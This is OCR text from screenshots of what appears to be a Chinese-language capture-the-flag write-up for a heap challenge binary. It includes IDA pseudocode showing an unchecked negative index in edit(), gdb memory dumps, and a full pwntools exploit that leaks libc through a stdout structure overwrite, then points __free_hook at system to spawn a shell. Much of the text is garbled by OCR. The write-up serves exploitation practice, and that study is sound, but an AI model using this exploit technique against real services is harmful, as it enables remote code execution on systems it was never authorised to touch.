7 _exit 6
A _start :
7 deregister_tm_clones 7 switch ( menu() )
@ register_tm_clones 8 {
[@_do_global_dtors_aux 9 case 1:
@ frame_dumny 10 add(*(_QWORD *)&argc, argv);
A init_data 11 b k'_
7 input reak;
[ menu 12 case 2:
@ add 13 delete(*(_QWORD *)&argc, argv);
[Adelete 14 break;
g:gi": 15 case 3:
B main 16 show(*(_QWORD *)&argc, argv);
@ __libc_csu_init 17 break;
(A _libc_csu_fini 18 case 4:
g}iﬂ‘u’mc 19 edit(*(_QUORD *)&argc, argv);
D puts 20 break;
[A__stack_chk_fail 21 case 5:
[Aalarm 22 puts("bye!");
[Aread i .

23 t(e
D_ libc_start_main I p :.’uli,)’
[Fmalloc etault:
@ setvbuf 25 *(_QWORD *)&argc = "error!";
(7 atoi 26 puts(“"error!");
[Fexit 27 break;
7 _imp___cxa_finalize 28 }
@ __gmon_start__

29 }

\

Line 34 of 49 000016A5 main:14 (16A5)
[E output 0&x

1314: using guessed type
139E: using guessed type
145D: using guessed type
1547: using guessed type

int64 menu(void);
int64 add(void);
int64 delete(void);
int64 show(void);

1562: using guessed type __int64 edit(void);

Python

AU: idle Up Disk: 23GB



F i R R Beditildelet PRSI B E D

ﬂ IDA - user C:\Users\18510\Downloads\user\user - [m] X
File Edit Jump Search View Debugger Lumina Options Windows Help
4+ H e€vev & m 8 &5 t EHv @O &t # FvF@w X > O ONodebugger vie @ @
B ] | - ______________________________________________J}i
Library function Ml Regular function Ml Instruction [ Data [ Unexplored | External symbol Ml Lumina function
[71 Functions O & X @ IDA View-a @ Pseudocode-A 8 B Hex View-1 BE  Structures ) Enums Exports
Function name 1__inte4 edit()
# _read f{ . . .
(A _malloc 3 int vi1; // [rs ]
(7 _setvbuf 4 char nptr[8]; // [rs
7 _atoi 5 unsigned __int64 v3; // [
@ _exit 6
@ _start

@ deregister_tm_clones
A register_tm_clones

@ __do_global_dtors_aux

7 3 = __readfsqword(@x28u);
8 puts("index:");
9 input(nptr, 8u);

@ frame_dummy 10 vl = atoi(nptr);

[@init_data X ’

[@ input 11 if (vl > 4)

@ menu 12

Dadd 13 puts("index error");

P delete 14 exit(-1);

@ show

Tedit 5}

Hmain 16 if ( *((_QWORD *)&heap + v1) )
@ __libc_csu_init 17 {

(7 _libe_csu_fini 18 puts("Enter a new username:");
ééi‘e“u"oc 19 read(@, *((void **)&heap + v1), @x40uLlL);
7 puts 20}

@ __stack_chk_fail 21 else

(M alarm 22 {

@ read " wy .
[7__libc_start_main gi puts(“error”);

[Fmalloc ¥

(7 setvbuf 25  return OLL;

Fatoi 26}

Dexit

(7 _imp___cxa_finalize

A __gmon_start__

Line 34 of 49 00001562 edit:1 (1562)

= Output a8 x
1314: using guessed type :int64 Enu(void); - - -

139E: using guessed type __int64 add(void);

145D: using guessed type __int64 delete(void);

1547: using guessed type __int64 show(void);
1562: using guessed type __int64 edit(void);

Python
AU: idle Up Disk: 23GB

Hrheap@bss EHZ &, =IOt A S it &b, BT I G 4R 4R OS5 M (AR A0 40 F TR A
& stdoutmT LU EElibe

payload=p64(0xfbad1800)+p64(0)*3+p8(0)

A EER gdbMERbssHr A 2B H A LA rYSF

Terminal

8 (_DYNAMIC+416) «— @

{_DYNAMIC+472) «— @

{_GLOBAL DFFSET TABLE ) =
(_GLOBAL_OFFSET TABLE +8) «- 0
( GLOBAL OFFSET TABLE +16)

{ stack chk fail@
(al ggot[plt]
ot[plt]) —=

e15a835f 18

«— 0xfbad1860

bad2e8b

2 skipped

5 skipped

7 skipped

HEEURIEEEE A B chali® Ctrl+G.



RIXEBEEMERE SHES
B NMEFHER Y _free_hook,7Af51Efree_hook{&2X /gsystem
BIARA A /bin/shiyiR T getshell 7

ARG ER

1 from pwn dimport *

2  do=process('./pwn'")

3 #jo=remote("pss.idss-cn.com",21225)

4  1libc=ELF('./libc.so.6"')

5 context.log_level="debug'

6 def bug():

7 gdb.attach(io)

8 def ch(Id):

9 jo.sendlineafter(b"5. Exit",str(Id).encode())
10 def add(payload):

11 ch(1)

12 jo.recvuntil(b"Enter your username:")

13 io.send(payload)

14 def free(Id):

15 ch(2)

16 jo.sendlineafter (b"index:",str(Id).encode())
17 def edit(Id,payload):

18 ch(4)

19 jo.sendlineafter (b"index:",str(Id).encode())
20 jo.sendafter(b"Enter a new username:",payload)
21 add(b"/bin/sh\x00") #0

22 add(b"/bin/sh\x00") #1

23  payload=p64 (0xfbadl1800)+p64(0)*3+p8(0)

24  edit(-8,payload)

25 do.recvuntil(b'\x00'x*8)

26  base=u64(io.recv(6).ljust(8,b'\x00"'))-0x1ec980
27 print(hex(base))

28 fhook=base+1libc.sym.__free_hook

29  system=base+libc.sym.system
30  print(hex(fhook))
31 #bug ()
32  edit(-11,p64(fhook)=*2)
33  edit(-10,p64(system))
34  free(0)
35 do.interactive()



